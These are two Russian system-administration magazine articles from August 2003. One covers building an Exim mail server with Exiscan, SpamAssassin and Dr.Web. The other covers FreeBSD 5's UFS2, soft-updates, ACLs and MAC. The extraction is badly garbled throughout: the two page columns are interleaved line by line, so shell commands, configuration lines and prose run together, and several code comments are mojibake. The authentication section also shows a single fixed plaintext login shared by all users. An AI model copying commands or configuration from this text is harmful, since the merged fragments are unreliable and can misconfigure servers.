наружении «дефекта» Exim сразу же откажет в получе-  ROUTER_MANUALROUTE=yes – доставка почты на
нии письма и, таким образом, ненужное письмо даже не явно заданный сервер;
успеет попасть в почтовую очередь (что спасает место на  ROUTER_QUERYPROGRAM=yes – доставка почты по
жестких дисках и нервы администратору). информации от внешней программы;
 ROUTER_REDIRECT=yes – перенаправление почты
Компоненты (файлы .forward, база aliases).
Помимо самого Exim 4.12 в предложенной схеме будут
использоваться: Лучше на все поставить «yes», чтобы потом не пере-
 Exiscan – http://duncanthrax.net/exiscan/ – осуществле- собирать, если что-то понадобится.
ние проверки во время SMTP-сессии (патч для Exim). Транспорты:
Наш пример касается версии exiscan 4.12-26 (freeware).  TRANSPORT_APPENDFILE=yes – запись в файл;
 SpamAssassin – http://spamassassin.org/ – анализ по-  TRANSPORT_AUTOREPLY=yes – автоответчик;
чты по заданным правилам на отношение к спаму. За  TRANSPORT_PIPE=yes – доставка через PIPE;
каждое правило назначено число баллов. При дости-  TRANSPORT_SMTP=yes – доставка на SMTP-сервер.
жении указанного количества баллов письмо считает-
ся спамом. Пример правила – большие красные бук- Также на все поставить «yes», чтобы опять же не пе-
вы в тексте письма. Наш пример касается версии ресобирать в будущем.
SpamAssassin 2.50 (freeware). Поиск пользователей:
 Dr.Web – http://www.drweb.ru/ – популярный российс-  LOOKUP_DBM=yes – поиск в Berkeley DB;
кий антивирус от фирмы «Диалог-Наука». Является  LOOKUP_LSEARCH=yes – линейный поиск в файле
коммерческим, цены доступны на сайте. (типа /etc/aliases);
 LOOKUP_LDAP=yes – поиск в OpenLDAP;
Собираем Exim  LOOKUP_MYSQL=yes – поиск в базе MySQL;
Скачиваем Exim 4.12 и exiscan 4.12-26 с официальных  LOOKUP_NIS=yes – поиск в директории NIS;
сайтов, указанных в предыдущем разделе. Распаковыва-  LOOKUP_NISPLUS=yes – поиск в директории NIS+;
ем exiscan в папку с распакованным Exim.  LOOKUP_ORACLE=yes – поиск в базе Oracle;
 LOOKUP_PASSWD=yes – поиск в passwd файлах;
bash-2.05a$ wget ftp://ftp.csx.cam.ac.uk/pub/software/ ↵
email/exim/exim4/exim-4.12.tar.gz
 LOOKUP_PGSQL=yes – поиск в базе PostgreSQL.
bash-2.05a$ tar xzf exim-4.12.tar.gz
bash-2.05a$ cd exim-4.12 SMTP-аутентификаторы:
bash-2.05a$ wget http://duncanthrax.net/exiscan/ ↵
exiscan-4.12-26.tar.gz  AUTH_CRAM_MD5=yes – аутентификация по CRAM-
bash-2.05a$ tar xzf exiscan-4.12-26.tar.gz MD5 (RFC 2195);
 AUTH_PLAINTEXT=yes – открытым текстом – LOGIN-ме-
Применяем патч: ханизм (RFC 2595);
 AUTH_SPA=yes – Microsoft Secure Password Authentication.
bash-2.05a$ patch -l -p1 < exiscan-4.12-26.patch
Выбираем нужные.
Копируем дефолтный файл сборки: Теперь в корне дистрибутива Exim набираем:

bash-2.05a$ cp src/EDITME Local/Makefile bash-2.05a$ make


bash-2.05a$ make install

Редактируем Local/Makefile под свои нужды. Обраща- Все, Exim установлен в /usr/exim/bin. Теперь делаем:
ем внимание на поля:
 EXIM_UID – UID, под которым будет крутиться Exim; bash-2.05a$ rm -f /usr/sbin/sendmail
bash-2.05a$ ln -s /usr/exim/bin/exim /usr/sbin/sendmail
 EXIM_GID – GID, под которым будет крутиться Exim, обыч- bash-2.05a$ sendmail -bd
но GID группы mail;
 SPOOL_DIRECTORY – папка с почтой, обычно /var/mail. Проверяем работу нашего MTA:

№8(9), август 2003 41


администрирование
bash-2.05a$ telnet 0 25 bash-2.05a$ wget ftp://ftp.drweb.ru/pub/unix/4.29.5/ ↵
Connected to 0. drweb-4.29.5-freebsd4.tar.gz
Escape character is '^]'. bash-2.05a$ tar xzf drweb-4.29.5-freebsd4.tar.gz
220 ourmail.duster.ru ESMTP Exim 4.12 ↵ bash-2.05a$ cd drweb-4.29.5-freebsd4
Thu, 17 Jul 2003 16:09:30 +0700 bash-2.05a$ su
su-2.05a# ./install.sh
Отлично, наш быстрый и удобный почтовый сервер ус- Enter destination directory (/opt/drweb is default):
/usr/local/drweb
тановлен.
После чего Dr.Web будет установлен в папку /usr/local/
Собираем и конфигурируем drweb. В работе нам помимо сервера Dr.Web (drwebd) по-
SpamAssassin требуется клиент из папки /usr/local/drweb/clients/drwebdc.
Убийца спама (такой дословный перевод SpamAssassin) Конфигурация Dr.Web находится в файле drweb32.ini.
собирается очень просто: Обратим внимание на следующие поля:
 Key = «/usr/local/drweb/drwebd.key» – файл с лицензи-
bash-2.05a$ wget http://www.mirror.ac.uk/sites/ ↵ онным ключом.
spamassassin.taint.org/spamassassin.org/ ↵
released/Mail-SpamAssassin-2.50.tar.gz  Interfaces = «localhost» – в большинстве случаев нет смыс-
bash-2.05a$ tar xzf Mail-SpamAssassin-2.50.tar.gz ла держать Dr.Web на других интерфейсах, если мы не
bash-2.05a$ cd Mail-SpamAssassin-2.50
bash-2.05a$ ./configure обслуживаем удаленные сервера.
bash-2.05a$ make
bash-2.05a$ su
 User = drweb – нет никакого смысла работать под су-
su-2.05a# make install пер-пользователем, лучше создать пользователя (к
примеру «drweb») и дать только ему и группе админи-
Обращаем внимание на то, что ему потребуются не- страторов права на чтение и запуск из папки /usr/local/
которые Perl-модули, которые вы всегда можете найти в drweb.
архиве CPAN (http://www.cpan.org).  LogScanned = Yes – записывать ли в лог результаты об-
Рекомендую сразу перейти в папку /etc/mail/assassin и работки – конечно, да.
внести некоторые изменения в файлы конфигурации.  EnginePath = «/usr/local/drweb/drweb32.dll»
Создадим файл local.cf, куда внесем следующие  VirusBase = «/usr/local/drweb/*.vdb»
строки:  MoveFilesTo = «/usr/local/drweb/infected.!!!»
whitelist_from *@duster.ru Пути к файлу с движком Dr.Web, вирусным базам и
whitelist_from *@demos.su
папке с инфицированными файлами соответственно. Ме-
Это домены, с которых любая почта не будет считать- нять на свой вкус. Не забывайте лишь дать права создан-
ся спамом. Обязательно пропишите здесь ваших парт- ному пользователю на запись в папку с инфицированны-
неров, дружественные домены и так далее – иначе в бу- ми файлами.
дущем возможны проблемы... Теперь создадим файл
user_prefs.template, куда внесем следующие строки: su-2.05a# chown drweb.wheel /usr/local/drweb
su-2.05a# chmod 550 /usr/local/drweb
su-2.05a# chmod 750 /usr/local/drweb/infected.!!!
score BODY_8BITS 0
score SUBJ_FULL_OF_8BITS 0
score HEADER_8BITS 0 Сам сервер запускается очень просто:
score HTML_COMMENT_8BITS 0
bash-2.05a$ /usr/local/drweb/drwebd
Нам незачем за 8-битные символы считать письмо спа-
мом – ведь как ни странно, многие в России до сих пор Это следует прописать в файл запуска (/etc/rc.local для
составляют электронную корреспонденцию на русском. FreeBSD). Обновленные антивирусные базы следует
В целях безопасности следует завести дополнитель- класть в эту же папку, с дистрибутивом Dr.Web идет скрипт
ного пользователя, допустим spamd. По умолчанию про- для автоматического обновления – update.pl. Его следует
цессом SpamAssassin используется порт 783, но так как прописать в cron, для этого:
мы будем пускать его не под супер-пользователем, сле-
дует взять порт выше 1023, к примеру 1783. su-2.05a# crontab -u root -e
Запускаем SpamAssasin в фоновом режиме:
Вставляем следующую строку:
su-2.05a# /usr/bin/spamd -d -p 1783 -u spamd
0 2 * * * /usr/local/drweb/update/update.pl /usr/local/drweb/
Полный набор ключей вы можете узнать, запустив:
Запуск в 02:00 каждый день, параметр, переданный
su-2.05a# /usr/bin/spamd -h скрипту – это путь к антивирусным базам.

Конфигурируем Exim
Собираем Dr.Web Теперь подробно рассмотрим файл конфигурации /usr/exim/
Скачиваем и распаковываем Dr.Web с официального ftp- configure. Каждая секция, кроме главной, в файле конфи-
сайта: гурации начинается со строки «begin <имя секции>».

42
администрирование
Main section  exiscan_extension_data = pif:vbs:scr:bat – список запре-
 primary_hostname = ourmail.duster.ru – это официаль- щенных расширений.
ное имя нашего сервера, которое будет ставиться в  exiscan_extension_action = reject – что делать? Вари-
заголовки. анты такие же, как в проверке MIME.
 domainlist local_domains = ourmail.duster.ru : localmail.ru –  exiscan_av_condition = 1 – включаем антивирусный кон-
локальные домены, подразумевается, что они адре- троль.
сованы нашему почтовому серверу, то есть нашему  exiscan_av_scanner = cmdline – Dr.Web не входит в спи-
серверу явно задано, куда класть эту почту (к приме- сок стандартных антивирусов exiscan, поэтому пишем,
ру, локальным пользователям). Обратите внимание, что наш будет просто запущен из командной строки.
что для разделения используется двоеточие, а не за- Список поддерживаемых антивирусов:
пятая.  sophie – sophie AV daemon
 domainlist relay_to_domains = duster.ru : demos.su – спи- (http://www.vanja.com/tools/sophie/)
сок доменов, для которых мы будем осуществлять ре-  kavdaemon – Kapersky AVP Daemon 3.x
лейинг, то есть принимать почту и пересылать на MX с (http://www.kapersky.com)
меньшим приоритетом.  openav – OpenAV scanner daemon
 hostlist relay_from_hosts = 127.0.0.1 : 192.168.0.0/16 – (http://www.openantivirus.org)
список сетей, с которых мы будем принимать любую  clamav – ClamAV scanner daemon
почту (список сетей клиентов). Как видите, поддержи- (http://clamav.elektrapro.com)
вается формат CIDR.  mksd – mks scanner daemon
 smtp_banner = «ESMTP Welcome.» – наш баннер, ко- (http://linux.mks.com.pl)
торый виден людям при открытии нашего SMTP-пор-  exiscan_av_scanner_path = /usr/local/drweb/clients/drwebdc/
та. Лучше использовать подобный лаконичный баннер, drwebdc – путь к нашему нестандартному антивирусу.
нежели стандартный – зачем незнакомцам знать вер-  exiscan_av_scanner_options = -n127.0.0.1 -rv -q -f| – клю-
сию нашего MTA? чи для запуска Dr.Web-клиента. 127.0.0.1 – адрес сер-
 qualify_domain = ourmail.duster.ru – домен, который мы вера, на котором крутится сервер Dr.Web (drwebd), он
будем дописывать к адресу, если он не указан. К приме- может быть нелокальным.
ру, если кто-то отсылает письмо на адрес «postmaster»  exiscan_av_scanner_regexp_trigger = infected with – стро-
вместо «postmaster@ourmail.duster.ru». Обычно это до- ка в выводе клиента Dr.Web, означающая, что вирус
мен обслуживаемой компании. найден.
 acl_smtp_rcpt = acl_check_rcpt – набор правил ACL, ко-  exiscan_av_scanner_regexp_description = infected with
торые находятся в соответствующей секции конфигу- (.*) – маска, определяющая местонахождение и назва-
рационного файла. ние вируса.
 host_lookup = !192.168.0.0/16 – делать запрос в DNS  exiscan_av_action = reject – что делать с зараженными
на всех клиентов, кроме указанных. письмами? Варианты как в предыдущих проверках.
 helo_allow_chars = _ – разрешить символ подчеркива-  exiscan_regex_condition = 1 – включаем поиск задан-
ния в команде HELO. Рекомендую, так как некоторые ных строк в письмах.
администраторы используют знак подчеркивания в  exiscan_regex_data = TEENPORN : Language Center –
именах своих почтовых серверов, и если не добавить указываем запрещенные слова.
эту опцию – ваш сервер не будет принимать их кор-  exiscan_regex_action = reject – что делать? Конечно,
респонденцию. запрещать!
 exiscan_condition = 1 – включаем работу Exiscan. Здесь и  exiscan_spamd_condition = 1 – включаем анализ на при-
далее, 1 – значит включено, 0 – значит выключено (как надлежность почты к спаму.
в математической логике).  exiscan_spamd_threshold = 7.6 – число от 0 до 999. Ми-
 exiscan_timeout = 5m – тайм-аут для работы Exiscan. нимальный балл, при достижении которого письмо счи-
 exiscan_loglevel = 2 – уровень ведения логов. От 0 до 2; тается спамом. Чем меньше число, тем больше спама
0 – значит не вести лог вообще. будет через вас проходить. Если балл достигнут – в
 exiscan_demime_condition = 0 – проверка на валидность заголовок письма вставится поле X-Spam-Score, ука-
MIME (к примеру, отсутствие двойных заголовков). зывающее сколько баллов было набрано. Все методы
Автор отключает, так как некоторые почтовые клиен- анализа писем дают дроби типа 0.5, 1.2, 2.6, поэтому
ты (типа Outlook Express) иногда создают письма с вло- имеет смысл указывать балл также в виде дроби.
жениями, которые не пройдут эту проверку.  exiscan_spamd_header_style = full – количество инфор-
 exiscan_demime_action = reject – что делать с непро- мации, добавляемой в заголовок.
шедшими? Можно отказать в приеме письма (reject),  none – в заголовок ничего не прописывается.
пропустить (pass) его, занести отправителя в черный  single – добавится только поле X-Spam-Score.
список (blackhole) и заморозить письмо (freeze).  flag – если письмо считается спамом, то также до-
 exiscan_demime_pickyness = 2 – значение от 0 до 2 ука- бавляется флаг X-Spam-Flag.
зывает, насколько сильно придираться к письму.  full – если письмо считается спамом, то также до-
 exiscan_extension_condition = 1 – включаем проверку бавляется поле X-Spam-Report с подробным отче-
на расширение вложений. том (по каким критериям письмо засчитано спамом).

№8(9), август 2003 43


администрирование
 exiscan_spamd_action = reject – что делать? Конечно, Пример для фиксированного (единственного для всех)
запрещать! пароля:
 exiscan_spamd_subject_tag = *SPAM* – если вы все-таки
пропускаете письма, то можно добавить в тему пись- fixed_login_oe:
driver = plaintext
ма указанный тэг, к примеру *SPAM*. public_name = LOGIN
 exiscan_spamd_address = 127.0.0.1 783 – адрес и порт, server_prompts = "Username:: : Password::"
server_condition = ↵
на котором крутится SpamAssassin, опять же может ${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}}
быть нелокальным. server_set_id = $1

ACL section Данный пример (LOGIN-механизм) работает для кли-


Оставляем как есть, если у кого-то есть желание – можно ентов Outlook Express. Для Netscape Messanger следует
добавить функцию callout. Для этого в строках verify = sender использовать следующую конфигурацию:
и verify = recipient добавляем /callout, то есть получаем стро-
ку типа verify = recipient/callout. fixed_login_ns:
driver = plaintest
Таким образом, наш сервер во время проверки адре- public_name = PLAIN
сов отправителя и получателя будет создавать SMTP-сес- server_condition = ↵
${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}}
сию с сервером, отвечающим за соответствующий домен server_set_id = $1
отправителя или получателя, и проверять – существует
ли там указанный пользователь. Происходит примитивное сравнение указанных почто-
В таком случае письма с несуществующих адресов не вым клиентом имени и пароля с нашими «user» и
будут проходить, но это скажется на времени работы по- «password» (см. server_condition).
чтового сервера. По умолчанию все клиенты должны пройти аутенти-
фикацию, если мы прописали хоть один метод в этом раз-
Routers section деле. Но лучше бы убрать ее для локальных пользовате-
Оставляем как есть, лишь добавляя по надобности допол- лей, для этого добавим в основной раздел (в Main section)
нительные маршрутизаторы почты сверху секции. следующую строку:
Пример:
auth_advertise_hosts = !192.168.0.0/16
friends:
driver = manualroute
transport = remote_smtp
route_list = friends.ru mx.friends.ru Финиш
Все, мы у финиша – получили быстрое и техничное по-
Это явное задание маршрутизации почты friends.ru на чтовое решение с анализом на наличие вирусов, спама и
сервер mx.friends.ru, стоит на нем MX или нет – роли не прочих «дефектов» в нашей корреспонденции!
играет. Автором статьи протестирована связка Exim с базами
MySQL и OpenLDAP – работает превосходно. Скорость
Transports section доставки – на грани фантастики!
Оставляем как есть. Лог-файлы хранятся по умолчанию в папке /var/mail/log.
 mainlog – основной лог проходящих писем;
Retry section  rejectlog – лог отклоняемых писем;
Оставляем как есть.  paniclog – серьезные ошибки в работе MTA.

Rewrite section Статистику можно смотреть утилиткой eximstats:


Перезапись адресов в заголовках осуществляется по при-
меру: bash-2.05a$ /usr/exim/bin/eximstats -nr /var/mail/log/mainlog

*@friends.ru postmaster@ourmail.duster.ru E

Сначала пишем, что менять, затем – на что. Флажок E


означает, что изменится только адрес в рабочем заголов-
ке, поля To: и From: останутся неизмененными.

Authenticators section
Здесь задаются правила аутентификации, чтобы наш
SMTP-сервер могли использовать только по паролю. Не-
обходимость обычно существует только для систем бес-
платной почты и компаний, которые хотят, чтобы их со-
трудники могли использовать корпоративный SMTP-сер-
вер из любой точки планеты. Удачи всем постмастерам!

44
администрирование

№8(9), август 2003 45


администрирование

НОВЫЕ СРЕДСТВА ОС
FreeBSD 5

ВСЕВОЛОД СТАХОВ
46
администрирование
Ни для кого не секрет, что OС FreeBSD является весьма по- писи, т.к. они изменяют содержимое нескольких облас-
пулярной на productive-серверах. Причиной тому служит тей диска. При записи файлов происходит 2 процесса за-
высокая степень защищенности «системы по умолчанию» писи: запись данных и запись метаданных (информации
(т.е. система изначально больше ориентирована на безопас- об имени файла, его смещении, режиме доступа и т. д.),
ность, чем на удобство для пользователя), очень высокая при этом метаданные хранятся в начале диска. При тра-
производительность, чрезвычайно удобная система портов диционной схеме данные и метаданные записываются
и обновления системы (cvsup). Как и все *nix, FreeBSD изна- синхронно. То есть метаданные записываются уже «по
чально ориентирована на использование в сети, поэтому она факту» записи основных данных. Такая схема использо-
содержит качественный стек протоколов TCP/IP, очень мощ- валась традиционно в ufs, т.к. является достаточно безо-
ный пакетный фильтр ipfw и неплохую поддержку множества пасной. Недостатком такой системы является очень мед-
сетевых технологий и протоколов. Не так давно появившая- ленное обновление метаданных, что может вызвать боль-
ся 5 ветка (на момент написания этой статьи последней была шие потери данных при непредвиденных ситуациях. В та-
версия 5.1, вышедшая 9.06.2003) FreeBSD явилась резуль- ком случае запускается fsck, и эта программа проверяет
татом почти трехлетнего труда разработчиков и, несомнен- блоки, помеченные как «занятые», на правильность (т.е.
но, отвечает требованиям времени. всем занятым блокам должны соответствовать коррект-
В 5 версии ОС FreeBSD появилось достаточно много но- ные метаданные, иначе такие блоки нужно отметить как
вовведений по сравнению с 4 веткой системы. Из них стоит «свободные»). Следующим шагом развития ФС явилась
выделить такие, как поддержка ACPI, экспериментальная асинхронная запись (режим работы ext2 по умолчанию или
поддержка MAC (Mandatory Access Controls), новая версия ufs, монтированной с опцией async). При этом метадан-
файловой системы UFS – UFS2. В этой статье рассказыва- ные записываются сразу же после записи основных дан-
ется о новых средствах, появившихся или получивших бо- ных, что дает очень существенный выигрыш в скорости
лее качественную поддержку в 5 ветке FreeBSD. Начнем с по сравнению с предыдущей системой, но при этом стра-
особенностей файловой системы – UFS2. дает надежность. Если же в процессе записи неожиданно
Учтите, что по умолчанию FreeBSD 5.0 создает разде- произошел сбой (например, отключение питания), то час-
лы с файловой системой UFS1, для создания UFS2-раз- то метаданные бывают неверны или указывают на несу-
дела можно специально указать типы sysinstall или вос- ществующие данные. Для устранения неполадок в фай-
пользоваться командой newfs следующим образом: ловой системе запускается программа fsck, назначение
которой в исследовании всех метаданных на валидность
# newfs -U -O2 /dev/ad0s3d и проверке всех занятых блоков. Естественно, при такой
схеме возможна весьма существенная потеря данных и,
где опция -U означает включение режима soft-updates (бу- кроме этого, fsck выполняется довольно долго, т.к. необ-
дет пояснено далее), а -O – выбор версии UFS. ходимо проверить все метаданные и все занятые блоки.
Какие же это средства и каково их применение? Итак, Файловые системы следующего типа (можно даже ска-
среди наиболее важных нововведений можно выделить зать поколения) используют так называемый журналиру-
следующие: емый режим (ext3, ntfs, reiserfs), который подразумевает
 преодоление «терабайтного барьера»; следующее: метаданные записываются синхронно с ос-
 ограничения на размер одного раздела в 1 терабайт, новными данными, но на специальную небольшую область
что достигнуто использованием 256-байтных inode, по- диска – журнал, находящийся в быстродоступном месте.
зволяющих иметь 64-битный указатель смещения (если После записи данных метаданные переносятся в положен-
вы никогда ранее не работали с FreeBSD, то учтите, ное место. При возникновении неполадок fsck проверяет
что раздел MS-DOS и раздел FreeBSD означают со- валидность метаданных, находящихся в журнале и осу-
вершенно разные вещи: раздел MS-DOS в термино- ществляет перенос валидных inode в нужное место, а так-
логии BSD именуется «слайсом» и управляется про- же удаляет неправильные метаданные. Эта схема намно-
граммой fdisk, но на слайсе может быть несколько раз- го более надежна, чем первая, т.к. нет риска порчи боль-
делов, которые управляются программой disklabel); шого количества метаданных. Кроме этого, fsck выполня-
 поддержка технологии soft-updates и snapshots (про- ется очень быстро, т.к. осуществляется проверка лишь
ект FFS – fast file system); малой части диска. Главный недостаток журналируемых
 поддержка списков доступа (acls) (проект TrustedBSD: ФС – более низкая производительность, т.к. метаданные
www.trustebsd.org). должны записываться дважды. Это особенно заметно на
серверах, которые интенсивно оперируют с данными (по-
Что же означают последние два пункта? Начну по по- чтовые серевра, сервера баз данных). Для устранения
рядку. Итак, что прежде всего требуется от файловой си- этого недостатка был разработан новый тип записи мета-
стемы? Надежность и скорость. Эти два критерия явля- данных, который и применяется во FreeBSD 5.x. При та-
ются основополагающими, но, к сожалению, более надеж- кой схеме, называемой soft-updates, метаданные пишут-
ная система часто является более медленной. Надежность ся в синхронном режиме, но не на диск, а в оперативную
файловых систем всегда была и будет объектом присталь- память. Логично сказать, что операции с памятью на не-
ного внимания разработчиков. Представим себе тради- сколько порядков быстрее операций с диском. После за-
ционную файловую систему, например, fat или ext2. Наи- писи данных метаданные в памяти записываются на диск
более слабым местом любой ФС являются операции за- (т.е. записываются лишь однажды) в определенном по-

№8(9), август 2003 47


администрирование
рядке (в отдельных случаях это дает прирост произво- После чего раздел будет примонтирован со включен-
дительности на 70% (!)). Порядок записи метаданных ным режимом soft-updates. Для корневой файловой сис-
определяется специальным алгоритмом, который опре- темы лучше всего включить необходимые режимы на эта-
деляет приоритет каждого блока метаданных в памяти. пе установки системы (для этого в редакторе disklabel
При возникновении сбоя система просто откатывается программы sysinstall необходимо нажать Shift+Z и указать
примерно на полминуты назад и продолжает работу в опции newfs – -U -O2). Хочу отметить, что режим soft-
нормальном режиме (нет даже необходимости в запус- updates может применяться и для UFS1, но файловая си-
ке fsck, поэтому система может спокойно монтировать- стема UFS2 является, на мой взгляд, более совершенной
ся, даже не будучи корректно отмонтированной). Един- и продуктивной, чем UFS1, поэтому я не вижу причин для
ственная проблема в наличии блоков, которые помече- использования UFS1 (кроме, пожалуй, испытанности вре-
ны как «занятые», но которым не соответствуют мета- менем). Чтобы увидеть, в каком режиме работает та или
данные. Для устранения таких блоков, являющихся по иная файловая система, достаточно просто вызвать mount
сути дела мусором, применяется фоновая проверка без аргументов:
(bgfsck), которая запускается и работает, не мешая нор-
мальной работе системы, освобождает неправильно по- cebka/usr/src$ mount
/dev/ad0s3a on / (ufs, local, soft-updates)
меченные блоки. В таком случае в результате сбоя про- devfs on /dev (devfs, local)
исходит потеря метаданных, находящихся в памяти, что /dev/ad0s3d on /usr (ufs, local, soft-updates)
не очень существенно, т.к. преимуществ у такой схемы
все равно больше. Главным образом это, конечно, вы- Другая весьма полезная возможность, нашедшая при-
сокая производительность. Система soft-updates пред- менение во FreeBSD 5.0, – это возможность создания спис-
ставляет собой компромисс между оптимальной произ- ков доступа (acl) к файловым объектам. Любой, кто рабо-
водительностью (практически как у асинхронных систем) тал с системой безопасности WinNT, сталкивался с по-
и оптимальной надежностью (практически как у синхрон- добной технологией. Отличие списков доступа от тради-
ных систем). По моему мнению, систему с soft-updates ционной системы защиты файлов Unix, когда все пользо-
идеально применять на серверах, испытывающих боль- ватели разграничиваются на владельца, группу владель-
шую нагрузку. Есть еще одна из реализаций технологии ца и всех остальных, в возможности задания определён-
soft-updates, когда метаданные записываются в энерго- ным группам и/или пользователям собственных прав до-
независимую память, что дает еще больший выигрыш в ступа. Это выглядит следующим образом:
надежности (фактически надежность журналируемых ФС традиционная схема – rw-r-----
и скорость soft-updates). Главным минусом, безусловно, acls – user:root:rw,group:wheel:r,user:wheel_adm:rw
является недостаточная поддержка энергонезависимой в первом случае владелец имеет право чтения и записи,
памяти и необходимость разработки специальных алго- группа – право чтения, остальные доступа к файлу не
ритмов восстановления. имеют; во втором случае наблюдается похожая ситуация,
Еще одно преимущество, присутствующее в ffs, – сним- но доступ на запись к файлу имеет не только владелец,
ки файловых систем, так называемые snapshots, которые но и некий пользователь wheel_adm. На первый взгляд
позволяют оперировать с файлом снимка так, как если отличия не так велики, но система acls очень гибко уп-
бы он был реальной файловой системой (об этом читайте равляет доступом к файлам, позволяя строить произволь-
подробнее на странице http://www.mckusick.com/softdep/ ные списки доступа, разграничивая права различных
или в /usr/src/sys/ufs/ffs/README.snapshot). пользователей и групп.
Итак, разобравшись с теоретическим аспектом вопро- Для включения поддержки acls нужно включить сле-
са, можно переходить к его реализации на практике. Для дущую опцию компилирования ядра: options U F S _ A C L
поддержки режима soft-updates необходимо добавить сле- (во FreeBSD 5 включена по умолчанию).
дующие параметры компиляции ядра: options FFS options Разберемся, как управлять списками доступа на прак-
SOFTUPDATES (во FreeBSD 5 включены по умолчанию). тике. Сразу же отмечу, что использовать acls лучше все-
Для включения режима soft-updates во FreeBSD 5 мож- го на UFS2-системе, т.к. она была разработана с учетом
но воспользоваться 2 способами. Наиболее универсаль- данной технологии, в отличие от UFS1, где использовать
ным является применение tunefs или указание флага -U списки доступа можно, но не рекомендуется. Итак, чтобы
при создании ФС со помощью команды newfs. включить acls на файловой системе, можно воспользо-
ваться несколькими путями: использовать tunefs (наибо-
# tunefs -n enable /dev/ad0s3d # newfs -U -O2 /dev/ad0s3d лее надежный способ, но требуется размонтирование ФС):

Для работы tunefs необходимо размонтировать систе- # tunefs -a enable /dev/ad0s3d


му, что удобнее делать в single-user mode. Напомню, что
для перехода в такой режим можно воспользоваться сле- использовать опцию монтирования acls (лучше всего про-
дующей командой: писать в /etc/fstab):
# shutdowm now
Enter a path to shell or press Enter for /bin/sh ... /dev/ad0s3d /usr ufs rw,acls1 1
# umount /usr
# tunefs -n enable /dev/ad0s3d
# logout Примечание: хотя об использовании этой опции гово-

48
администрирование
рится в FreeBSD Handbook, но у меня она (опция) отказа- Как видите, пользователь test имеет право записи и
лась работать наотрез – пришлось использовать tunefs в чтения из файла /tmp/test.tmp, обратите также внимание
single-user mode (для использования tunefs корневой сис- на вывод команды ls:
темы я использовал аварийный диск, т.к. иначе отмонти-
ровать невозможно). # ls -l /tmp/test.tmp
Для проверки введите mount без параметров: -rw-------+ 1 root wheel 0 22 èþë 04:03 test.tmp

cebka/usr/src$ mount
/dev/ad0s3a on / (ufs, local, soft-updates, acls) Символ «+» означает наличие расширенных атрибу-
devfs on /dev (devfs, local) тов в виде acl. Команда setfacl также используется для
/dev/ad0s3d on /usr (ufs, local, soft-updates, acls)
удаления специфических прав, для этого используется
Для просмотра acl для файла или каталога (будут по- опция -x, которая с точностью до наоборот похожа на
казаны Unix-права доступа к файлу, который не имеет опцию -m. Также существует возможность чтения спис-
расширенных атрибутов acl) используется команда getfacl: ка доступа из файла, что указывается опциями -M file и
вывод прав доступа к файлу в «классическом» стиле Unix: -X file соответственно.
Полезной мне также показалась опция -b, которая уда-
cebka /home/cebka$ ls -l test1
-rw-r--r-- 1 root wheel 8 20 èþë 23:35 test1 ляет все права доступа, кроме трех стандартных Unix-
объектов (владелец, группа, остальные).
вывод прав доступа в виде acl: Итак, как выяснилось, acl – очень полезная техноло-
гия. Для тех кто не может пока представить себе, зачем
cebka /home/cebka$ getfacl test1 это нужно, приведу несколько конкретных примеров:
#file:test1 <-- èìÿ ôàéëà
#owner:0 <-- âëàäåëåö( UID)  ключи симметричного шифрования (например, для си-
#group:0 <-- ãðóïïà (GID) стемы TSIG DNS-сервера BIND) – такие файлы не дол-
user::rw- <-- ïðàâà âëàäåëüöà (ïîëüçîâàòåëü ïî óìîë÷àíèþ)
group::r-- <-- ïðàâà ãðóïïû (ãðóïïà-âëàäåëåö ïî óìîë÷àíèþ) жны иметь возможность читаться всеми, в то же время
other::r-- <-- ïðàâà âñåõ îñòàëüíûõ желательно, чтобы их владельцем оставался root:wheel
(чтобы злоумышленник не смог изменить атрибуты фай-
Как видно из примера, если имя пользователя или груп- ла), тогда удобно установить следующий acl:
пы не указано, то подразумевается, что это пользователь
# chown root:wheel example.key
или группа-владельцы файла. Естественно, что просмат- # chmod 000 example.key
ривать расширенные атрибуты для обычных файлов не- # setfacl user:bind:r example.key
интересно, поэтому попробуем установить файлу «экзо-
тические» атрибуты, которые нам позволяет использовать  нередко списки доступа очень удобно применять в mail-
технология acls. Для этой цели используется команда или samba-службах, где требуется разграничить различ-
setfacl (а вы как подумали?), для добавления нового ре- ных пользователей (например, дать возможность на-
жима доступа используется опция -m: чальству просматривать личные файлы подчиненных).
# touch /tmp/test.tmp && chmod 0600 /tmp/test.tmp
# setfacl -m user:test:rw,group:test:r /tmp/test.tmp Вывод: acls – очень полезное средство управления
файлами и каталогами.
этой командой были разрешены запись и чтение пользо- Напоследок я бы хотел сказать несколько слов о тех-
вателю test и чтение группе test. В общем формат acl та- нологии MAC, взятой разработчиками FreeBSD 5.0 из про-
ков: "класс (пользователь(user), группа(group), others екта TrustedBSD (www.trustedbsd.org). Что же может дать
маска(mask)):наименование (имя для пользователя или нам эта технология, и вообще, что она из себя представ-
группы, пустое поле означает объект по умолчанию (вла- ляет? Итак, в традиционном Unix используются принципы
делец файла для user и group), всегда используется для равноправия всех пользовательских объектов, то есть
классов mask и others):права доступа (обычные права пользователь может получить доступ к системным объек-
доступа в стиле Unix)". там, которые принадлежат ему. Технология MAC предпо-
Проверяем атрибуты файла: лагает наличие метки уровня безопасности для любого
# getfacl /tmp/test.tmp системного объекта (под этим термином предполагаются
#file:/tmp/test.tmp процессы, файлы и каталоги, устройства, пользователи
#owner:1
#group:1 и т. п.) и строгого разграничения доступа между различ-
user::rw- ными уровнями (определяется выбранным модулем MAC);
user:test:rw-
group::—- для поддержки технологии MAC нужно указать опцию ком-
group:test:r— пиляции ядра:
mask::rw- <— ìàêñèìàëüíûé ðåæèì äîñòóïà äëÿ «îáû÷íûõ»
ïîëüçîâàòåëåé (íå âëàäåëåö)
other::—- options MAÑ

# su test
$ cat > /tmp/test.tmp Сама система MAC состоит из набора модулей, вы-
test
^D полняющих различные функции, из них можно выделить
$ cat /tmp/test.tmp как и те, что реализуют политику разграничения доступа
test
(mac_biba, mac_mls, mac_lomac) так и те, что выполняют

№8(9), август 2003 49


администрирование
разнообразные служебные функции. Для ознакомления с пространстве (видны только процессы текущей группы).
модулями системы MAC я направляю читателя к FreeBSD Использовать метки в принципе не так уж и сложно, про-
Handbook, так как там все описано достаточно подробно блемы могут возникнуть только со сложными метками
и нет смысла приводить здесь кучу материала, который (например, mac_biba), но информацию по формату меток
уже есть в разжеванном виде. Далее я просто хочу не- легко получить из соответствующей страницы man. Учти-
много поделиться впечатлениями от использования дан- те, что для установки меток mac-файлам используется
